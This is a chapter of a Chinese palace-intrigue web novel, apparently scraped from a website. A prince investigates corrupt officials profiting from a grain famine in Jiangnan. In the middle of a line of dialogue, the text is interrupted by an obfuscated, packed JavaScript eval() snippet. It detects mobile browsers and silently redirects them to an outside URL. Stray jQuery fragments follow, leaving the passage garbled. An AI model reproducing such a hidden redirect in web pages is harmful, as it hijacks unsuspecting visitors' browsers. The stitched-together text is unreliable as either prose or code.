以前洛鸢做事风风火火,说干就干,从不考虑后果,从不怕这怕那。
但这次不知怎的,她总觉得心里不踏实,内心极不愿意让萧烬牵扯进去。她更气自己当初看书太敷衍,竟记不起书里到底有没有提到过江南粮荒及高价粮的事,否则也可以帮萧烬参考一下。
正当她胡思乱想时,丽贵妃的近侍来了。稀客。
他甩下拂尘,傲慢地掀起眼皮,道:“贵妃娘娘口谕,从明日起,命宏德王妃每日巳时到披香殿诵经礼佛,不得懈怠——”
“丢!”洛鸢暗骂出声。
“可以不去吗?”洛鸢没好气。
“不可以。”近侍翻了个白眼,“贵妃娘娘此举是为了给大胤祈福,祈求来年风调雨顺、五谷丰登。宫里的女贵人们都得参加。王妃您若是不去呀,您就是不盼大胤的好,哼——”
他拖着长腔,凭白让洛鸢听出一肚子怒火。滚!死娘娘腔。
呵!不盼大胤好?这罪名任谁都承受不起。丽贵妃、哦不,梁王有心了。
丽贵妃向来习惯独自礼佛,从不肯让外人打扰。如今为了将洛鸢拢在宫中,竟不惜兴师动众,拽着宫里一众美娇娘们集体搞祈福?真是煞费苦心。
说起来,这还是黎酒的主意。她早就察觉洛鸢不是省油的灯,只要有她在萧烬身边,萧烬总会顺风顺水。
所以,这次她有意让洛鸢和萧烬分开,让萧烬那个草包无所依托。
洛鸢忧虑地望向萧烬,欲言又止,满眼都是不情愿。
萧烬怔怔望她会儿,上前捏捏她的脸,道:“这样也好。阿鸢,你安心留在宫里,外面的事我应付得来。”
*
萧烬精装简行,带了一队侍卫和几名暗卫便出发了。
一路车马颠簸过去,车窗外的景色从荒芜凄凉的老树荒原渐渐换成一片葱葱郁郁的绿色,再也看不出冬天的样子。
萧烬淡定地摆弄着手里的木质人偶,前几日才刚把脸部雕琢好,如今已经基本完工了。惊鸿髻、大袖襦裙袿衣、腰间垂挂飘带,披帛迎风飞扬,他照着洛鸢的模样雕刻出了一位栩栩如生的仙女。
不,这就是他心目中的洛鸢,衣带当风、翩若惊鸿,如天女下凡踏月而至,拯救他于水火之中。
这只楠木人偶虽未来得及上色,但已现出几分灵气。萧烬紧紧攥着它,就好像洛鸢陪在身边。
突然,马车骤停下来,颠簸之中萧烬猛地回神,冷声:“发生何事?”
属下前来汇报:“禀报殿下,前方有几具衣不蔽体的横尸,看样子像是互相缠斗留下的,待属下将他们移走再出发。”
萧烬掀开车窗帷裳朝外望去,不禁拧紧了眉头。除尸体外,不远处还有一些垂头丧气状如僵尸的难民,正背着单薄的包袱在路上双目呆滞地行走。看样子,是准备逃难去了。可悲的是,他们早已麻木地没了情绪,见到地上死去的同胞时,就像看到一只死掉的老鼠一样淡定。
“移到一旁,找个地方埋了吧。”萧烬吩咐完,头疼地捏了捏自己的印堂。
然而等进了城,境况并未比预想中好多少。
整座临州城没有半点生气,道路两旁的树木花草虽是绿的,但城中却浮现出浓浓的死气,看得人极为窒息。
原本喧闹繁华的闹市区如今空荡荡的,地上到处都是洪涝过境后留下的水洼,偶尔有人经过也都是一副面黄肌瘦的模样。周边民居内,时不时传出小孩子饿哭的嚎啕声。
萧烬闭了闭眼,只觉得脑壳疼得厉害。
临州官衙外,临州知府薛青松正在门外笑脸迎着他们。据朝廷收到的消息,此人正是江南高价粮案的幕后操纵者和推动者。
“一脸奸相。”萧烬的随从默默吐槽。
萧烬下了马车,神情冰冷地剜薛青松一眼,连看都懒得看他。
薛青松似乎看不见他的嫌弃,依旧满脸谄媚,上前一步笑道:“殿下,听闻您要来,我等提前好多天便精心准备起来了,殿下一路饱经风霜,真是辛苦了,快随下官进去暖暖身子。”
他像个哈巴狗一样想上前搀扶萧烬,刚触碰到萧烬的袖子,便被他嫌弃地甩开,只留下一声冷冷的鼻哼。
但薛青松并不生气,依旧将宏德王热情地领进会客厅,恭恭敬敬将他请到上座。
临州这些官员恐怕无人不知萧烬的经历,他从太子变成一个被囚禁起来的深宫阶下囚,又从阶下囚重新抵达如今的位置,虽看似水涨船高,但搞不好只是梁王的磨刀石,否则陛下也不会派他这个废物来淌这趟浑水了。
因此众人虽不敢小瞧他,但也并未真将他当作一回事,各个摆出一副有恃无恐的傲慢样子,满脸豪横。就好像萧烬不是来办案,而是来求他们办事的。只有薛青松忙前忙后地亲自给萧烬斟茶倒水,看着甚是虔诚。
萧烬身边的随从满脸不悦,正想出言指责,却被他用眼神制止。
萧烬清了清嗓子:“诸位大人,朝廷派本王来此,想必你们都知道所为何事吧?”
众人不屑地冷哼,顺带小声嘀咕几句。
“前前后后给朝廷递过多少折子,朝廷放半个屁了?!如今倒好,闻着银子的味就来了。”
“当初我们向朝廷申请救济粮时怎么不见朝廷搭理我们?”
薛青松满脸赔笑:“嘿嘿殿下,公务的事不着急处理,您长途跋涉一定饿了,下官特意命人准备了午宴,咱们先吃饭,等吃饱喝足了再聊不迟。”
萧烬在心里暗骂:“真不要脸。”但他确实饿了,于是并未拒绝。
很快,他被簇拥着坐到餐桌旁。下人很快将饭食端了上来,窝窝头、稀薄白粥、还有几碟小咸菜。
“殿下,如今临州闹粮荒,就是府衙也没有余粮啊,您不如就将就用些?”同知面带客气微笑。
“胡闹。”薛青松开口,语带埋怨,“殿下身份贵重,哪能吃这些粗茶淡饭,简直荒唐!快、命人将本官准备的豪华午宴呈上来,别磨叽。”
同知满脸忧虑,但权衡片刻后依旧照办了。
熏鸡烤鱼、葡萄美酒、饭前甜点......
萧烬突然被气笑:“都赚了不少吧?呵呵。你们江南五地的官衙借天灾囤积居奇,联合起来大肆哄抬粮价,搞得百姓民不聊生。这黑心钱,不知诸位花着开心吗?你们大鱼大肉往嘴里塞时,有想过江南饿肚子的百姓吗?”
萧烬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160051|187941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说这话时,语气异常平静,只是撂筷子时,震得众人耳膜一响。
在场人沉默,全都像看救星似的瞥向薛青松。
薛青松连忙给萧烬斟酒:“哎呀,殿下,您快尝尝这酒。这酒啊可是用千年老参泡的药酒,专门补阳的,对咱们男人,咳咳,那方面有好处的。”
见薛青松不接话茬,萧烬终于发怒,低声质问:“你们到底在搞什么把戏?一个个都不怕死吗!”
......
“这些置百姓生死于不顾的庸官贪官理应被凌迟处死下地狱!” 正当场面陷入安静时,突然有个山羊胡的中年男子硬闯进屋子。
他朝薛青松冷笑:“你的仕途快要到头了。身为父母官,你竟敢如此大张旗鼓发国难财,置百姓生死于不顾,这可是犯了当今陛下还有梁王的忌讳!薛大人,你这属于玩火自焚,如今朝廷派宏德王亲自来调查,你们不慌吗?哼,死到临头还能如此淡定,令在下佩服。”
薛青松拎酒壶的手一顿,不动声色地冷冷一笑:“不及武大人万分之一呢。”
他们两人自顾自斗嘴,将萧烬晾在一旁。
萧烬指着山羊胡,挑眉问:“你是谁?”
“下官武三原,翰林院编修。”
“哦。”萧烬眨眨眼,“七品小官啊。”
众人窃笑。
不知为何,萧烬对山羊胡本能地没有好感,尽管他看似很正直。
若武三原就此噤声便罢了,但他偏一脸骄傲,冲萧烬俯身作揖:“下官不才,是当朝黎太傅的得意门生。而我娘、我娘是当今梁王殿下的乳娘。”
因他这层深厚的背景来历,江南当地的大小官员谁也不敢得罪他。所以武三原以为开门见山地将自己底细亮出来,萧烬就会高看他一眼。
“宏德王,您与梁王自小一同长大,说不定也碰巧喝过我娘的奶水,若是如此,那咱们也算一奶同胞......”
“哦,关系户啊。”萧烬眼底立即涌出厌恶,“不过,与本王论兄弟,你配吗?”
气氛瞬间尴尬。
这人叫武三原,是朝廷前阵子派来主持乡试的主考官,在朝廷任翰林编修一职。他结束主考事宜后并未返京,而是一直在江南地区留连,不知是何原因。
薛青松赶忙岔开话题:“殿下,用膳吧。再不吃就凉了。”
“哦,”原本萧烬对这桌豪华饭食极为反感,但此时见山羊胡一脸愤懑,不禁反骨上来,冲他勾勾手指,笑说,“你也坐下一起吃,看你瘦的......”
武三原脸色青白,僵在那儿。半晌后咬牙:“哼,没想到宏德王居然与这帮人渣一样,是贪图享乐之辈。在下告辞!”
他气冲冲走后,萧烬眯着眼睛,渐渐咂摸出一些不对劲。这些官员为何明知犯下大错,却在见到他后依然不慌不惧?武三原表面上像在为民鸣不平,但细想之下却更像官员内部的私斗行为。
萧烬浑身打了个激灵,不妨先将计就计,看看薛青松等人搞的到底是什么名堂。
“薛大人,用膳吧,你、你、还有你们,全都坐下陪本王一起吃。”萧烬一改之前冰冷的态度,盯着满桌美味佳肴,笑嘻嘻道。